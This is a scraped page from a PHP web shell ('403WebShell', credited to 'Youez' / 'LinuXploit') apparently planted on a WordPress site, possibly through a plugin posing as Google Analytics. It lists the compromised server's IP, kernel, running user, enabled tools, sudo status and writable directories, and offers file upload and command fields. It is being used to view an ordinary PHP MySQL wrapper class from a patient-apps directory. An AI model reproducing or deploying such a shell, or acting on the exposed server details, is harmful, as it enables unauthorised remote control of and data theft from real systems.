Warning: chmod(): Operation not permitted in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[0] in function chmod in /var/www/hopeinstoughton_www/wp-content/plugins/simple-universal-google-analytics/main.php on line 8
[1] in function include_once in /var/www/hopeinstoughton_www/wp-settings.php on line 560
[2] in function require_once in /var/www/hopeinstoughton_www/wp-config.php on line 85
[3] in function require_once in /var/www/hopeinstoughton_www/wp-load.php on line 50
[4] in function require_once in /var/www/hopeinstoughton_www/wp-blog-header.php on line 13
[5] in function require in /var/www/hopeinstoughton_www/index.php on line 17
403WebShell
403Webshell
Server IP : 94.177.8.99  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux aries 6.8.0-134-generic #134-Ubuntu SMP PREEMPT_DYNAMIC Fri Jun 26 18:43:11 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.1.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/patientapps_beta/include/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/patientapps_beta/include/class.mysql.php
<?php

	define('MYSQL_BUFFER', 1);

/*
Unexpected Duplicate record errors:   table may be marked as Crashed, and need repair.

http://php.net/manual/en/book.mysqli.php
*/


class database_my2 {

	var $user = '';
	var $password = '';
	var $host;
	var $error;
	var $db;
	var $lastsql;
	var $options;
	var $failedonly;
	var $onLog;
	private $mysqli;

	// connection string:  mysql://user:password@hostname/databasename
	//  password is encoded
	
	function __construct($connectionstring) {
		$this->error = '';
		$this->setConnection($connectionstring);
		$this->options = 0;
		$this->mysqli = NULL;
		$this->onLog = NULL;
	}

	public function is_open() {
		return is_object($this->mysqli);
	}
	
	public function open($databasename = '') {

		if ($databasename !='')  $this->db = $databasename;
		$this->close();			// close any currently open connection

// TRUE => Don't recycle current active connections - they may be for a different database
		$this->mysqli = new mysqli($this->host, $this->user, base64_decode($this->password), $this->db);

		if ($this->mysqli->connect_errno) {
			$this->error = 'Could not connect to ' . $this->host. ': ' . $this->mysqli->connect_error;
			$this->errnum = $this->mysqli->connect_errno;
			return 0;
		}
		$this->mysqli->set_charset('utf8mb4');
		return 1;
	}
	
	public function close() {
		$this->error = '';
		if ($this->mysqli !== NULL) $this->mysqli->close();
		$this->mysqli = NULL;
	}

	function __destruct() {
		$this->close();
	}

	public function setConnection($connection_string) {
		if (preg_match('~mysql://(.+)/(.*?)$~', $connection_string, $elements)) {
			$this->db = $elements[2];
			$host = $elements[1];
			if (preg_match('~^(.*):(.*)@(.*)$~', $host, $elements)) {
				$this->user = $elements[1];
				$this->password = $elements[2];
				$this->host = $elements[3];
			} else {
				$this->host = $host;	// leave existing username unchanged
			}
		} else {
			$this->error = 'not a mysql connection string';
		}
	}

	private function _updateField(&$values, $name, $value) {
		if ($values != '') $values .= ',';
		$values .= "`$name`=$value";
	}

	// http://dev.mysql.com/doc/refman/5.1/en/string-syntax.html
	public function formatString($value, $sz = 0) {
	// format the value suitable for storing in the database
	// $value - string needs to be processed, $sz - max size of string (field size)
		if ($value === NULL) return 'NULL';
		if ($sz > 0) $value = mb_substr($value, 0, $sz);
		$value = str_replace(array("\\",   "'",  '"',    "\n",  "\r", "\t", "\0"),
                            array("\\\\", "\\'", "\\\"", "\\n", "\\r", "\\t", "\\0"), $value);
		return "\"$value\"";
	}

	public function saveRecord(&$data, $primarykey = '') {			// primarykey => for autoinc fields
		global $VARIABLE;
		$this->error = '';		// clear out any previous error
		$this->errnum = 0;
		$cmd = 'replace';
		$existing = isset($data['__existing']) ? $data['__existing'] : 0;
		$tablename = isset($data['__table']) ? $data['__table'] : '';
		if ($tablename == '') {
			$this->error = 'cannot save - no table specified';
			return 0;
		}
		$values = $skipkey = $whereclause = '';
		if (!$existing && $primarykey != '') $skipkey = $primarykey;
		
		if ($existing) {		// do an update command
			$dtable = strtolower($tablename);
			$ddatabase = strtolower($this->db);
			if (($p = strpos($tablename, '.')) !== FALSE) {
				$ddatabase = strtolower(substr($tablename, 0, $p));
				$dtable = strtolower(substr($tablename, $p + 1));
			}
			
			$cmd = 'update';
			$whereclause = $this->GenerateWhereClause($data, $ddatabase, $dtable);
		} else {
			$cmd = 'insert';
		}

		foreach($data as $k => $v) {
			if ((substr($k, 0, 2) != '__')  &&  ($k != $skipkey)) {				// all field names beginning with '__' are ignored
				if (!isset($VARIABLE["$k.STT"]) || $cmd != 'update') {			// skip fields that have not changed, if that feature is being used.
					$this->_updateField($values, $k, $this->formatString($v, 0));
				}
			}
		}
		
		if ($whereclause != '') $whereclause = " where $whereclause";
		$this->lastsql = "$cmd `$tablename` set $values$whereclause";
		if ($this->onLog !== NULL) call_user_func($this->onLog, 'Query: ' . $this->lastsql);
		
		if ($this->mysqli->query($this->lastsql) === FALSE) {
			$this->error = "$cmd error: " . $this->mysqli->error;
			$this->errnum = $this->mysqli->errno;
			return 0;
		}
		if ($skipkey !='') {
			$data[$primarykey] = $this->mysqli->insert_id;
			if ($this->onLog !== NULL) call_user_func($this->onLog, 'Insert ID: ' . $data[$primarykey]);

		}
		$data['__existing'] = 1;
		return 1;
	}

	private function loadRecord($row, $tablename) {
		$res = array();
		$res['__table'] = $tablename;
		$res['__existing'] = 0;
		if ($row !== NULL) {
			$res['__existing'] = 1;
			foreach($row as $k => $v) {
				if (!is_numeric($k)) {
					$k = strtolower($k);
//					$v = iconv('utf-8', 'Windows-1252', $v);
					$res[$k] = $v;
				}
			}
		}
		return $res;
	}

	// Perform a sql query. 
	//	$sql 			query to be executed.  '%s' and '%d' should be used as placeholders. Cannot contain the keyword "limit"
	//	$sqlparam		array of values (or NULL) for the placeholders in $sql
	//	$itemproc 		callback routine, executed for each record returned by the query
	//	$procparam		a general purpose parameter, can be used by $itemproc
	//	$tablename		name of the table this data belongs to. Required if the data in the table is going to be changed
	//	$limit			max number of records to be returned. Used instead of the keyword "limit" - it is specific to mysql. M$SQL uses "top"
	public function query($sql, $sqlparam, $itemproc, $procparam, $tablename = '', $limit = 0) {
		$this->error = ''; $count = 0; $this->errnum = 0;
		if (is_string($limit) || $limit > 0) $sql .= " limit $limit";
		
		if ($sqlparam !== NULL) $sql = $this->_perform_substitution($sql, $sqlparam);

		// Check to see if the callback function exists
		if ( is_array($itemproc) && is_object($itemproc[0]) ) {
			$ok = method_exists($itemproc[0], $itemproc[1]) ? 2 : 0;
		} else {
			$ok = ($itemproc != '' && function_exists($itemproc)) ? 1 : 0;
		}
		
		$this->lastsql = $sql;
		if ($this->onLog !== NULL) call_user_func($this->onLog, 'Query: ' . $this->lastsql);

//		$result = $this->mysqli->Query($sql);
		do {
			if ($this->options & MYSQL_BUFFER) {
				$result = $this->mysqli->Query($sql);
			} else {
				$result = $this->mysqli->Query($sql, MYSQLI_USE_RESULT);		// for large amounts of data
			}
			$lost = FALSE;
			if ($result === FALSE) {
				$this->errnum = $this->mysqli->errno;
				if ($this->errnum == 2006) {		// 2006 (CR_SERVER_GONE_ERROR)  - timed out, re-open connection
					$this->Open();
					$lost = TRUE;
				} else {
					$this->error = "query error: " . $this->mysqli->error;
					return NULL;
				}
			}
		} while($lost);
		$temp = $sql;
		if (substr($temp, 0, 2) == '/*') {		// remove any embedded comments
			$p = strpos($temp, '*/');
			$temp = trim(substr($temp, $p + 2));
		}
		
		$tok = strtoupper(strtok($temp, " \n\t"));
		if (($tok == 'SELECT' || $tok == 'SHOW') && $result !== NULL) {
			while($row = $result->fetch_assoc()) {
				$ITEM = $this->loadRecord($row, $tablename);
				$count++;
				if ($ok == 2) {
					$obj = $itemproc[0];
					$method = $itemproc[1];
					if ($obj->$method($ITEM, $procparam)) break;
				} elseif ($ok) {
					if ($itemproc($ITEM, $procparam)) break;
				} else {
					$procparam = $ITEM;
				}
			}
			$result->close();
			if (!$ok && !$count) $procparam = $this->loadRecord(NULL, $tablename);
		}
		if ($tok == 'UPDATE' || $tok == 'DELETE' || $tok == 'INSERT') {
			$this->affected_rows = $this->mysqli->affected_rows;
			if ($this->onLog !== NULL) call_user_func($this->onLog, 'Affected Rows: ' . $this->affected_rows);
		}
		return $procparam;
	}

	// Lookup only returns the first record matching the criteria
	public function lookup($sql, $sqlparam = NULL, $tablename = '') {
		return $this->query($sql, $sqlparam, '', NULL, $tablename, 1);
	}
	
	private function GenerateWhereClause(&$data, $ddatabase, $dtable) {
		if (!isset($_SESSION["$ddatabase:$dtable"])) {
			$_SESSION["$ddatabase:$dtable"] = $this->GetTableDefinition($ddatabase,$dtable);
		}
	// session data missing?  create it
		$whereclause = '';
		foreach($_SESSION["$ddatabase:$dtable"] as $field) {
			if ($whereclause != '') $whereclause .= ' and ';
			$value = $this->formatString($data[$field], 0);
			$whereclause .= "`$field`=$value";
		}
		return $whereclause;
	}
	
	// Prevent sql injection vulnerabilities
	private function _perform_substitution($sql, $sqlparam) {
		if (!is_array($sqlparam)) $sqlparam = array($sqlparam);		// single item - does not have to be in an array
		$p = 0;
		while (($q = strpos($sql, '%', $p)) !== FALSE) {
			$macro = strtolower(substr($sql, $q, 2));
			$value = count($sqlparam) ? array_shift($sqlparam) : '';
			switch($macro) {
				case '%s':
					$value = $this->FormatString($value);
					break;
				case '%d':
					$value = intval($value);
					break;
				case '%f':
					$value = floatval($value);
					break;
				default:
					$value = '';
			}
			$sql = substr($sql, 0, $q) . $value . substr($sql, $q + 2);
			$p = $q + strlen($value);
		}
		return $sql;
	}
	
	private function GetTableDefinition($ddatabase, $dtable) {
// to do: ddatabase should not be ignored
		$keyorder = $this->Query("show keys from `$dtable`", NULL, array($this, '_idyp__keys'), array());
		if (!count($keyorder)) {
			echo "No primary key defined. \n";
			exit;
		}
		return $keyorder;
	}

	function _idyp__keys(&$ITEM, &$param) {
		if ($ITEM['key_name'] == 'PRIMARY') {
			$n = intval($ITEM['seq_in_index']);
			$param[$n] = strtolower($ITEM['column_name']);
		}
		return 0;
	}
	
	function TableExists($tablename) {
		$dtable = strtolower($tablename);
		$this->Query("select 1 from `{$dtable}`", NULL, '', array(), '', 1);
		return $this->errnum != 1146;
	}

}

function dberr2($DB) {
	if (!empty($DB->error)) {
		echo "Database Error: {$DB->error} ({$DB->host})<br>\n";
		echo "Database Query: {$DB->lastsql}<br>\n";
        error_log("Database Error: {$DB->error} ({$DB->host})");
		exit;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit